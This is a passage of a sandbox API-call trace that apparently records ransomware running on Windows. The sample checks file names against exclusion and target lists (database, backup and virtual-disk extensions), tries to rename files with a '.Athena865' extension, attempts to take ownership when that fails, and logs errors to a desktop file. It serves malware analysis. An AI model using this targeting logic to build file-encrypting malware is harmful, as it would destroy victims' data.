(lpString1="{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ids.txt") returned -1 [0035.486] lstrcmpiW (lpString1="{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ntuser.dat") returned -1 [0035.486] lstrcmpiW (lpString1="{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="perflogs") returned -1 [0035.486] lstrcmpiW (lpString1="{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="MSBuild") returned -1 [0035.486] lstrlenW (lpString="{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.486] lstrcpyW (in: lpString1=0x241e882, lpString2="{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" | out: lpString1="{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned="{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" [0035.486] lstrlenW (lpString="{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.486] lstrlenW (lpString="Athena865") returned 9 [0035.486] lstrcmpiW (lpString1="6e6cc752}", lpString2="Athena865") returned -1 [0035.486] lstrlenW (lpString=".dll") returned 4 [0035.486] lstrcmpiW (lpString1="{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".dll") returned 1 [0035.486] lstrlenW (lpString=".lnk") returned 4 [0035.486] lstrcmpiW (lpString1="{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".lnk") returned 1 [0035.487] lstrlenW (lpString=".ini") returned 4 [0035.487] lstrcmpiW (lpString1="{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".ini") returned 1 [0035.487] lstrlenW (lpString=".sys") returned 4 [0035.487] lstrcmpiW (lpString1="{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".sys") returned 1 [0035.487] lstrlenW (lpString="{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.487] lstrlenW (lpString="bak") returned 3 [0035.487] lstrcmpiW (lpString1="52}", lpString2="bak") returned -1 [0035.487] lstrlenW (lpString="ba_") returned 3 [0035.487] lstrcmpiW (lpString1="52}", lpString2="ba_") returned -1 [0035.487] lstrlenW (lpString="dbb") returned 3 [0035.487] lstrcmpiW (lpString1="52}", lpString2="dbb") returned -1 [0035.487] lstrlenW (lpString="vmdk") returned 4 [0035.487] lstrcmpiW (lpString1="752}", lpString2="vmdk") returned -1 [0035.487] lstrlenW (lpString="rar") returned 3 [0035.487] lstrcmpiW (lpString1="52}", lpString2="rar") returned -1 [0035.487] lstrlenW (lpString="zip") returned 3 [0035.487] lstrcmpiW (lpString1="52}", lpString2="zip") returned -1 [0035.487] lstrlenW (lpString="tgz") returned 3 [0035.487] lstrcmpiW (lpString1="52}", lpString2="tgz") returned -1 [0035.487] lstrlenW (lpString="vbox") returned 4 [0035.487] lstrcmpiW (lpString1="752}", lpString2="vbox") returned -1 [0035.487] lstrlenW (lpString="vdi") returned 3 [0035.487] lstrcmpiW (lpString1="52}", lpString2="vdi") returned -1 [0035.487] lstrlenW (lpString="vhd") returned 3 [0035.487] lstrcmpiW (lpString1="52}", lpString2="vhd") returned -1 [0035.487] lstrlenW (lpString="vhdx") returned 4 [0035.487] lstrcmpiW (lpString1="752}", lpString2="vhdx") returned -1 [0035.487] lstrlenW (lpString="avhd") returned 4 [0035.487] lstrcmpiW (lpString1="752}", lpString2="avhd") returned -1 [0035.487] lstrlenW (lpString="db") returned 2 [0035.487] lstrcmpiW (lpString1="2}", lpString2="db") returned -1 [0035.487] lstrlenW (lpString="db2") returned 3 [0035.487] lstrcmpiW (lpString1="52}", lpString2="db2") returned -1 [0035.487] lstrlenW (lpString="db3") returned 3 [0035.487] lstrcmpiW (lpString1="52}", lpString2="db3") returned -1 [0035.487] lstrlenW (lpString="dbf") returned 3 [0035.487] lstrcmpiW (lpString1="52}", lpString2="dbf") returned -1 [0035.487] lstrlenW (lpString="mdf") returned 3 [0035.488] lstrcmpiW (lpString1="52}", lpString2="mdf") returned -1 [0035.488] lstrlenW (lpString="mdb") returned 3 [0035.488] lstrcmpiW (lpString1="52}", lpString2="mdb") returned -1 [0035.488] lstrlenW (lpString="sql") returned 3 [0035.488] lstrcmpiW (lpString1="52}", lpString2="sql") returned -1 [0035.488] lstrlenW (lpString="sqlite") returned 6 [0035.488] lstrcmpiW (lpString1="cc752}", lpString2="sqlite") returned -1 [0035.488] lstrlenW (lpString="sqlite3") returned 7 [0035.488] lstrcmpiW (lpString1="6cc752}", lpString2="sqlite3") returned -1 [0035.488] lstrlenW (lpString="sqlitedb") returned 8 [0035.488] lstrcmpiW (lpString1="e6cc752}", lpString2="sqlitedb") returned -1 [0035.488] lstrlenW (lpString="xml") returned 3 [0035.488] lstrcmpiW (lpString1="52}", lpString2="xml") returned -1 [0035.488] lstrlenW (lpString="$er") returned 3 [0035.488] lstrcmpiW (lpString1="52}", lpString2="$er") returned 1 [0035.488] lstrlenW (lpString="4dd") returned 3 [0035.488] lstrcmpiW (lpString1="52}", lpString2="4dd") returned 1 [0035.488] lstrlenW (lpString="4dl") returned 3 [0035.488] lstrcmpiW (lpString1="52}", lpString2="4dl") returned 1 [0035.488] lstrlenW (lpString="^^^") returned 3 [0035.488] lstrcmpiW (lpString1="52}", lpString2="^^^") returned 1 [0035.488] lstrlenW (lpString="abs") returned 3 [0035.488] lstrcmpiW (lpString1="52}", lpString2="abs") returned -1 [0035.488] lstrlenW (lpString="abx") returned 3 [0035.488] lstrcmpiW (lpString1="52}", lpString2="abx") returned -1 [0035.488] lstrlenW (lpString="accdb") returned 5 [0035.488] lstrcmpiW (lpString1="c752}", lpString2="accdb") returned 1 [0035.488] lstrlenW (lpString="accdc") returned 5 [0035.488] lstrcmpiW (lpString1="c752}", lpString2="accdc") returned 1 [0035.488] lstrlenW (lpString="accde") returned 5 [0035.488] lstrcmpiW (lpString1="c752}", lpString2="accde") returned 1 [0035.488] lstrlenW (lpString="accdr") returned 5 [0035.488] lstrcmpiW (lpString1="c752}", lpString2="accdr") returned 1 [0035.488] lstrlenW (lpString="accdt") returned 5 [0035.488] lstrcmpiW (lpString1="c752}", lpString2="accdt") returned 1 [0035.488] lstrlenW (lpString="accdw") returned 5 [0035.488] lstrcmpiW (lpString1="c752}", lpString2="accdw") returned 1 [0035.488] lstrlenW (lpString="accft") returned 5 [0035.488] lstrcmpiW (lpString1="c752}", lpString2="accft") returned 1 [0035.489] lstrlenW (lpString="adb") returned 3 [0035.489] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.489] lstrlenW (lpString="adb") returned 3 [0035.489] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.489] lstrlenW (lpString="ade") returned 3 [0035.489] lstrcmpiW (lpString1="52}", lpString2="ade") returned -1 [0035.489] lstrlenW (lpString="adf") returned 3 [0035.489] lstrcmpiW (lpString1="52}", lpString2="adf") returned -1 [0035.489] lstrlenW (lpString="adn") returned 3 [0035.489] lstrcmpiW (lpString1="52}", lpString2="adn") returned -1 [0035.489] lstrlenW (lpString="adp") returned 3 [0035.489] lstrcmpiW (lpString1="52}", lpString2="adp") returned -1 [0035.489] lstrlenW (lpString="alf") returned 3 [0035.489] lstrcmpiW (lpString1="52}", lpString2="alf") returned -1 [0035.489] lstrlenW (lpString="ask") returned 3 [0035.489] lstrcmpiW (lpString1="52}", lpString2="ask") returned -1 [0035.489] lstrlenW (lpString="btr") returned 3 [0035.489] lstrcmpiW (lpString1="52}", lpString2="btr") returned -1 [0035.489] lstrlenW (lpString="cat") returned 3 [0035.489] lstrcmpiW (lpString1="52}", lpString2="cat") returned -1 [0035.489] lstrlenW (lpString="cdb") returned 3 [0035.489] lstrcmpiW (lpString1="52}", lpString2="cdb") returned -1 [0035.489] lstrlenW (lpString="ckp") returned 3 [0035.489] lstrcmpiW (lpString1="52}", lpString2="ckp") returned -1 [0035.489] lstrlenW (lpString="cma") returned 3 [0035.489] lstrcmpiW (lpString1="52}", lpString2="cma") returned -1 [0035.489] lstrlenW (lpString="cpd") returned 3 [0035.489] lstrcmpiW (lpString1="52}", lpString2="cpd") returned -1 [0035.489] lstrlenW (lpString="dacpac") returned 6 [0035.489] lstrcmpiW (lpString1="cc752}", lpString2="dacpac") returned -1 [0035.489] lstrlenW (lpString="dad") returned 3 [0035.489] lstrcmpiW (lpString1="52}", lpString2="dad") returned -1 [0035.489] lstrlenW (lpString="dadiagrams") returned 10 [0035.489] lstrcmpiW (lpString1="46e6cc752}", lpString2="dadiagrams") returned -1 [0035.489] lstrlenW (lpString="daschema") returned 8 [0035.489] lstrcmpiW (lpString1="e6cc752}", lpString2="daschema") returned 1 [0035.489] lstrlenW (lpString="db-journal") returned 10 [0035.489] lstrcmpiW (lpString1="46e6cc752}", lpString2="db-journal") returned -1 [0035.489] lstrlenW (lpString="db-shm") returned 6 [0035.490] lstrcmpiW (lpString1="cc752}", lpString2="db-shm") returned -1 [0035.490] lstrlenW (lpString="db-wal") returned 6 [0035.490] lstrcmpiW (lpString1="cc752}", lpString2="db-wal") returned -1 [0035.490] lstrlenW (lpString="dbc") returned 3 [0035.490] lstrcmpiW (lpString1="52}", lpString2="dbc") returned -1 [0035.490] lstrlenW (lpString="dbs") returned 3 [0035.490] lstrcmpiW (lpString1="52}", lpString2="dbs") returned -1 [0035.490] lstrlenW (lpString="dbt") returned 3 [0035.490] lstrcmpiW (lpString1="52}", lpString2="dbt") returned -1 [0035.490] lstrlenW (lpString="dbv") returned 3 [0035.490] lstrcmpiW (lpString1="52}", lpString2="dbv") returned -1 [0035.490] lstrlenW (lpString="dbx") returned 3 [0035.490] lstrcmpiW (lpString1="52}", lpString2="dbx") returned -1 [0035.490] lstrlenW (lpString="dcb") returned 3 [0035.490] lstrcmpiW (lpString1="52}", lpString2="dcb") returned -1 [0035.490] lstrlenW (lpString="dct") returned 3 [0035.490] lstrcmpiW (lpString1="52}", lpString2="dct") returned -1 [0035.490] lstrlenW (lpString="dcx") returned 3 [0035.490] lstrcmpiW (lpString1="52}", lpString2="dcx") returned -1 [0035.490] lstrlenW (lpString="ddl") returned 3 [0035.490] lstrcmpiW (lpString1="52}", lpString2="ddl") returned -1 [0035.490] lstrlenW (lpString="dlis") returned 4 [0035.490] lstrcmpiW (lpString1="752}", lpString2="dlis") returned -1 [0035.490] lstrlenW (lpString="dp1") returned 3 [0035.490] lstrcmpiW (lpString1="52}", lpString2="dp1") returned -1 [0035.490] lstrlenW (lpString="dqy") returned 3 [0035.490] lstrcmpiW (lpString1="52}", lpString2="dqy") returned -1 [0035.490] lstrlenW (lpString="dsk") returned 3 [0035.490] lstrcmpiW (lpString1="52}", lpString2="dsk") returned -1 [0035.490] lstrlenW (lpString="dsn") returned 3 [0035.490] lstrcmpiW (lpString1="52}", lpString2="dsn") returned -1 [0035.490] lstrlenW (lpString="dtsx") returned 4 [0035.490] lstrcmpiW (lpString1="752}", lpString2="dtsx") returned -1 [0035.490] lstrlenW (lpString="dxl") returned 3 [0035.490] lstrcmpiW (lpString1="52}", lpString2="dxl") returned -1 [0035.490] lstrlenW (lpString="eco") returned 3 [0035.490] lstrcmpiW (lpString1="52}", lpString2="eco") returned -1 [0035.490] lstrlenW (lpString="ecx") returned 3 [0035.490] lstrcmpiW (lpString1="52}", lpString2="ecx") returned -1 [0035.490] lstrlenW (lpString="edb") returned 3 [0035.491] lstrcmpiW (lpString1="52}", lpString2="edb") returned -1 [0035.491] lstrlenW (lpString="epim") returned 4 [0035.491] lstrcmpiW (lpString1="752}", lpString2="epim") returned -1 [0035.491] lstrlenW (lpString="fcd") returned 3 [0035.491] lstrcmpiW (lpString1="52}", lpString2="fcd") returned -1 [0035.491] lstrlenW (lpString="fdb") returned 3 [0035.491] lstrcmpiW (lpString1="52}", lpString2="fdb") returned -1 [0035.491] lstrlenW (lpString="fic") returned 3 [0035.491] lstrcmpiW (lpString1="52}", lpString2="fic") returned -1 [0035.491] lstrlenW (lpString="flexolibrary") returned 12 [0035.491] lstrcmpiW (lpString1="4046e6cc752}", lpString2="flexolibrary") returned -1 [0035.491] lstrlenW (lpString="fm5") returned 3 [0035.491] lstrcmpiW (lpString1="52}", lpString2="fm5") returned -1 [0035.491] lstrlenW (lpString="fmp") returned 3 [0035.491] lstrcmpiW (lpString1="52}", lpString2="fmp") returned -1 [0035.491] lstrlenW (lpString="fmp12") returned 5 [0035.491] lstrcmpiW (lpString1="c752}", lpString2="fmp12") returned -1 [0035.491] lstrlenW (lpString="fmpsl") returned 5 [0035.491] lstrcmpiW (lpString1="c752}", lpString2="fmpsl") returned -1 [0035.491] lstrlenW (lpString="fol") returned 3 [0035.491] lstrcmpiW (lpString1="52}", lpString2="fol") returned -1 [0035.491] lstrlenW (lpString="fp3") returned 3 [0035.491] lstrcmpiW (lpString1="52}", lpString2="fp3") returned -1 [0035.491] lstrlenW (lpString="fp4") returned 3 [0035.491] lstrcmpiW (lpString1="52}", lpString2="fp4") returned -1 [0035.491] lstrlenW (lpString="fp5") returned 3 [0035.491] lstrcmpiW (lpString1="52}", lpString2="fp5") returned -1 [0035.491] lstrlenW (lpString="fp7") returned 3 [0035.491] lstrcmpiW (lpString1="52}", lpString2="fp7") returned -1 [0035.491] lstrlenW (lpString="fpt") returned 3 [0035.491] lstrcmpiW (lpString1="52}", lpString2="fpt") returned -1 [0035.491] lstrlenW (lpString="frm") returned 3 [0035.491] lstrcmpiW (lpString1="52}", lpString2="frm") returned -1 [0035.491] lstrlenW (lpString="gdb") returned 3 [0035.491] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.491] lstrlenW (lpString="gdb") returned 3 [0035.491] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.491] lstrlenW (lpString="grdb") returned 4 [0035.491] lstrcmpiW (lpString1="752}", lpString2="grdb") returned -1 [0035.492] lstrlenW (lpString="gwi") returned 3 [0035.492] lstrcmpiW (lpString1="52}", lpString2="gwi") returned -1 [0035.492] lstrlenW (lpString="hdb") returned 3 [0035.492] lstrcmpiW (lpString1="52}", lpString2="hdb") returned -1 [0035.492] lstrlenW (lpString="his") returned 3 [0035.492] lstrcmpiW (lpString1="52}", lpString2="his") returned -1 [0035.492] lstrlenW (lpString="ib") returned 2 [0035.492] lstrcmpiW (lpString1="2}", lpString2="ib") returned -1 [0035.492] lstrlenW (lpString="idb") returned 3 [0035.492] lstrcmpiW (lpString1="52}", lpString2="idb") returned -1 [0035.492] lstrlenW (lpString="ihx") returned 3 [0035.492] lstrcmpiW (lpString1="52}", lpString2="ihx") returned -1 [0035.492] lstrlenW (lpString="itdb") returned 4 [0035.492] lstrcmpiW (lpString1="752}", lpString2="itdb") returned -1 [0035.492] lstrlenW (lpString="itw") returned 3 [0035.492] lstrcmpiW (lpString1="52}", lpString2="itw") returned -1 [0035.492] lstrlenW (lpString="jet") returned 3 [0035.492] lstrcmpiW (lpString1="52}", lpString2="jet") returned -1 [0035.492] lstrlenW (lpString="jtx") returned 3 [0035.492] lstrcmpiW (lpString1="52}", lpString2="jtx") returned -1 [0035.492] lstrlenW (lpString="kdb") returned 3 [0035.492] lstrcmpiW (lpString1="52}", lpString2="kdb") returned -1 [0035.492] lstrlenW (lpString="kexi") returned 4 [0035.492] lstrcmpiW (lpString1="752}", lpString2="kexi") returned -1 [0035.492] lstrlenW (lpString="kexic") returned 5 [0035.492] lstrcmpiW (lpString1="c752}", lpString2="kexic") returned -1 [0035.492] lstrlenW (lpString="kexis") returned 5 [0035.492] lstrcmpiW (lpString1="c752}", lpString2="kexis") returned -1 [0035.492] lstrlenW (lpString="lgc") returned 3 [0035.492] lstrcmpiW (lpString1="52}", lpString2="lgc") returned -1 [0035.492] lstrlenW (lpString="lwx") returned 3 [0035.492] lstrcmpiW (lpString1="52}", lpString2="lwx") returned -1 [0035.492] lstrlenW (lpString="maf") returned 3 [0035.492] lstrcmpiW (lpString1="52}", lpString2="maf") returned -1 [0035.493] lstrlenW (lpString="maq") returned 3 [0035.493] lstrcmpiW (lpString1="52}", lpString2="maq") returned -1 [0035.493] lstrlenW (lpString="mar") returned 3 [0035.493] lstrcmpiW (lpString1="52}", lpString2="mar") returned -1 [0035.493] lstrlenW (lpString="marshal") returned 7 [0035.493] lstrcmpiW (lpString1="6cc752}", lpString2="marshal") returned -1 [0035.493] lstrlenW (lpString="mas") returned 3 [0035.493] lstrcmpiW (lpString1="52}", lpString2="mas") returned -1 [0035.493] lstrlenW (lpString="mav") returned 3 [0035.493] lstrcmpiW (lpString1="52}", lpString2="mav") returned -1 [0035.493] lstrlenW (lpString="maw") returned 3 [0035.493] lstrcmpiW (lpString1="52}", lpString2="maw") returned -1 [0035.493] lstrlenW (lpString="mdbhtml") returned 7 [0035.493] lstrcmpiW (lpString1="6cc752}", lpString2="mdbhtml") returned -1 [0035.493] lstrlenW (lpString="mdn") returned 3 [0035.493] lstrcmpiW (lpString1="52}", lpString2="mdn") returned -1 [0035.493] lstrlenW (lpString="mdt") returned 3 [0035.493] lstrcmpiW (lpString1="52}", lpString2="mdt") returned -1 [0035.493] lstrlenW (lpString="mfd") returned 3 [0035.493] lstrcmpiW (lpString1="52}", lpString2="mfd") returned -1 [0035.493] lstrlenW (lpString="mpd") returned 3 [0035.493] lstrcmpiW (lpString1="52}", lpString2="mpd") returned -1 [0035.493] lstrlenW (lpString="mrg") returned 3 [0035.493] lstrcmpiW (lpString1="52}", lpString2="mrg") returned -1 [0035.493] lstrlenW (lpString="mud") returned 3 [0035.493] lstrcmpiW (lpString1="52}", lpString2="mud") returned -1 [0035.493] lstrlenW (lpString="mwb") returned 3 [0035.493] lstrcmpiW (lpString1="52}", lpString2="mwb") returned -1 [0035.493] lstrlenW (lpString="myd") returned 3 [0035.493] lstrcmpiW (lpString1="52}", lpString2="myd") returned -1 [0035.493] lstrlenW (lpString="ndf") returned 3 [0035.493] lstrcmpiW (lpString1="52}", lpString2="ndf") returned -1 [0035.493] lstrlenW (lpString="nnt") returned 3 [0035.493] lstrcmpiW (lpString1="52}", lpString2="nnt") returned -1 [0035.493] lstrlenW (lpString="nrmlib") returned 6 [0035.493] lstrcmpiW (lpString1="cc752}", lpString2="nrmlib") returned -1 [0035.493] lstrlenW (lpString="ns2") returned 3 [0035.493] lstrcmpiW (lpString1="52}", lpString2="ns2") returned -1 [0035.493] lstrlenW (lpString="ns3") returned 3 [0035.493] lstrcmpiW (lpString1="52}", lpString2="ns3") returned -1 [0035.494] lstrlenW (lpString="ns4") returned 3 [0035.494] lstrcmpiW (lpString1="52}", lpString2="ns4") returned -1 [0035.494] lstrlenW (lpString="nsf") returned 3 [0035.494] lstrcmpiW (lpString1="52}", lpString2="nsf") returned -1 [0035.494] lstrlenW (lpString="nv") returned 2 [0035.494] lstrcmpiW (lpString1="2}", lpString2="nv") returned -1 [0035.494] lstrlenW (lpString="nv2") returned 3 [0035.494] lstrcmpiW (lpString1="52}", lpString2="nv2") returned -1 [0035.494] lstrlenW (lpString="nwdb") returned 4 [0035.494] lstrcmpiW (lpString1="752}", lpString2="nwdb") returned -1 [0035.494] lstrlenW (lpString="nyf") returned 3 [0035.494] lstrcmpiW (lpString1="52}", lpString2="nyf") returned -1 [0035.494] lstrlenW (lpString="odb") returned 3 [0035.494] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.494] lstrlenW (lpString="odb") returned 3 [0035.494] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.494] lstrlenW (lpString="oqy") returned 3 [0035.494] lstrcmpiW (lpString1="52}", lpString2="oqy") returned -1 [0035.494] lstrlenW (lpString="ora") returned 3 [0035.494] lstrcmpiW (lpString1="52}", lpString2="ora") returned -1 [0035.494] lstrlenW (lpString="orx") returned 3 [0035.494] lstrcmpiW (lpString1="52}", lpString2="orx") returned -1 [0035.494] lstrlenW (lpString="owc") returned 3 [0035.494] lstrcmpiW (lpString1="52}", lpString2="owc") returned -1 [0035.494] lstrlenW (lpString="p96") returned 3 [0035.494] lstrcmpiW (lpString1="52}", lpString2="p96") returned -1 [0035.494] lstrlenW (lpString="p97") returned 3 [0035.494] lstrcmpiW (lpString1="52}", lpString2="p97") returned -1 [0035.494] lstrlenW (lpString="pan") returned 3 [0035.494] lstrcmpiW (lpString1="52}", lpString2="pan") returned -1 [0035.494] lstrlenW (lpString="pdb") returned 3 [0035.494] lstrcmpiW (lpString1="52}", lpString2="pdb") returned -1 [0035.494] lstrlenW (lpString="pdm") returned 3 [0035.494] lstrcmpiW (lpString1="52}", lpString2="pdm") returned -1 [0035.494] lstrlenW (lpString="pnz") returned 3 [0035.494] lstrcmpiW (lpString1="52}", lpString2="pnz") returned -1 [0035.494] lstrlenW (lpString="qry") returned 3 [0035.494] lstrcmpiW (lpString1="52}", lpString2="qry") returned -1 [0035.494] lstrlenW (lpString="qvd") returned 3 [0035.494] lstrcmpiW (lpString1="52}", lpString2="qvd") returned -1 [0035.495] lstrlenW (lpString="rbf") returned 3 [0035.495] lstrcmpiW (lpString1="52}", lpString2="rbf") returned -1 [0035.495] lstrlenW (lpString="rctd") returned 4 [0035.495] lstrcmpiW (lpString1="752}", lpString2="rctd") returned -1 [0035.495] lstrlenW (lpString="rod") returned 3 [0035.495] lstrcmpiW (lpString1="52}", lpString2="rod") returned -1 [0035.495] lstrlenW (lpString="rodx") returned 4 [0035.495] lstrcmpiW (lpString1="752}", lpString2="rodx") returned -1 [0035.495] lstrlenW (lpString="rpd") returned 3 [0035.495] lstrcmpiW (lpString1="52}", lpString2="rpd") returned -1 [0035.495] lstrlenW (lpString="rsd") returned 3 [0035.495] lstrcmpiW (lpString1="52}", lpString2="rsd") returned -1 [0035.495] lstrlenW (lpString="sas7bdat") returned 8 [0035.495] lstrcmpiW (lpString1="e6cc752}", lpString2="sas7bdat") returned -1 [0035.495] lstrlenW (lpString="sbf") returned 3 [0035.495] lstrcmpiW (lpString1="52}", lpString2="sbf") returned -1 [0035.495] lstrlenW (lpString="scx") returned 3 [0035.495] lstrcmpiW (lpString1="52}", lpString2="scx") returned -1 [0035.495] lstrlenW (lpString="sdb") returned 3 [0035.495] lstrcmpiW (lpString1="52}", lpString2="sdb") returned -1 [0035.495] lstrlenW (lpString="sdc") returned 3 [0035.495] lstrcmpiW (lpString1="52}", lpString2="sdc") returned -1 [0035.495] lstrlenW (lpString="sdf") returned 3 [0035.495] lstrcmpiW (lpString1="52}", lpString2="sdf") returned -1 [0035.495] lstrlenW (lpString="sis") returned 3 [0035.495] lstrcmpiW (lpString1="52}", lpString2="sis") returned -1 [0035.495] lstrlenW (lpString="spq") returned 3 [0035.495] lstrcmpiW (lpString1="52}", lpString2="spq") returned -1 [0035.495] lstrlenW (lpString="te") returned 2 [0035.495] lstrcmpiW (lpString1="2}", lpString2="te") returned -1 [0035.495] lstrlenW (lpString="teacher") returned 7 [0035.495] lstrcmpiW (lpString1="6cc752}", lpString2="teacher") returned -1 [0035.495] lstrlenW (lpString="tmd") returned 3 [0035.495] lstrcmpiW (lpString1="52}", lpString2="tmd") returned -1 [0035.495] lstrlenW (lpString="tps") returned 3 [0035.495] lstrcmpiW (lpString1="52}", lpString2="tps") returned -1 [0035.495] lstrlenW (lpString="trc") returned 3 [0035.495] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.495] lstrlenW (lpString="trc") returned 3 [0035.496] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.496] lstrlenW (lpString="trm") returned 3 [0035.496] lstrcmpiW (lpString1="52}", lpString2="trm") returned -1 [0035.496] lstrlenW (lpString="udb") returned 3 [0035.496] lstrcmpiW (lpString1="52}", lpString2="udb") returned -1 [0035.496] lstrlenW (lpString="udl") returned 3 [0035.496] lstrcmpiW (lpString1="52}", lpString2="udl") returned -1 [0035.496] lstrlenW (lpString="usr") returned 3 [0035.496] lstrcmpiW (lpString1="52}", lpString2="usr") returned -1 [0035.496] lstrlenW (lpString="v12") returned 3 [0035.496] lstrcmpiW (lpString1="52}", lpString2="v12") returned -1 [0035.496] lstrlenW (lpString="vis") returned 3 [0035.496] lstrcmpiW (lpString1="52}", lpString2="vis") returned -1 [0035.496] lstrlenW (lpString="vpd") returned 3 [0035.496] lstrcmpiW (lpString1="52}", lpString2="vpd") returned -1 [0035.496] lstrlenW (lpString="vvv") returned 3 [0035.496] lstrcmpiW (lpString1="52}", lpString2="vvv") returned -1 [0035.496] lstrlenW (lpString="wdb") returned 3 [0035.496] lstrcmpiW (lpString1="52}", lpString2="wdb") returned -1 [0035.496] lstrlenW (lpString="wmdb") returned 4 [0035.496] lstrcmpiW (lpString1="752}", lpString2="wmdb") returned -1 [0035.496] lstrlenW (lpString="wrk") returned 3 [0035.496] lstrcmpiW (lpString1="52}", lpString2="wrk") returned -1 [0035.496] lstrlenW (lpString="xdb") returned 3 [0035.496] lstrcmpiW (lpString1="52}", lpString2="xdb") returned -1 [0035.496] lstrlenW (lpString="xld") returned 3 [0035.496] lstrcmpiW (lpString1="52}", lpString2="xld") returned -1 [0035.496] lstrlenW (lpString="xmlff") returned 5 [0035.496] lstrcmpiW (lpString1="c752}", lpString2="xmlff") returned -1 [0035.496] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865") returned 115 [0035.496] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" (normalized: "c:\\system volume information\\{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}"), lpNewFileName="C:\\System Volume Information\\{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865" (normalized: "c:\\system volume information\\{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.athena865"), dwFlags=0x1) returned 0 [0035.496] GetLastError () returned 0x5 [0035.496] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4c8 | out: pSid=0x241d4c8*=0x50dc40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0035.496] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4d4 | out: pSid=0x241d4d4*=0x50dc58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.496] SetEntriesInAclW () returned 0x0 [0035.496] SetNamedSecurityInfoW () returned 0x5 [0035.497] SetNamedSecurityInfoW () returned 0x5 [0035.497] LocalFree (hMem=0x529490) returned 0x0 [0035.497] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx TakeOwnership error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.497] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.497] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.497] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf1e [0035.497] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x94, lpOverlapped=0x0) returned 1 [0035.497] CloseHandle (hObject=0x154) returned 1 [0035.498] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.498] CloseHandle (hObject=0x0) returned 0 [0035.498] CloseHandle (hObject=0x0) returned 0 [0035.498] 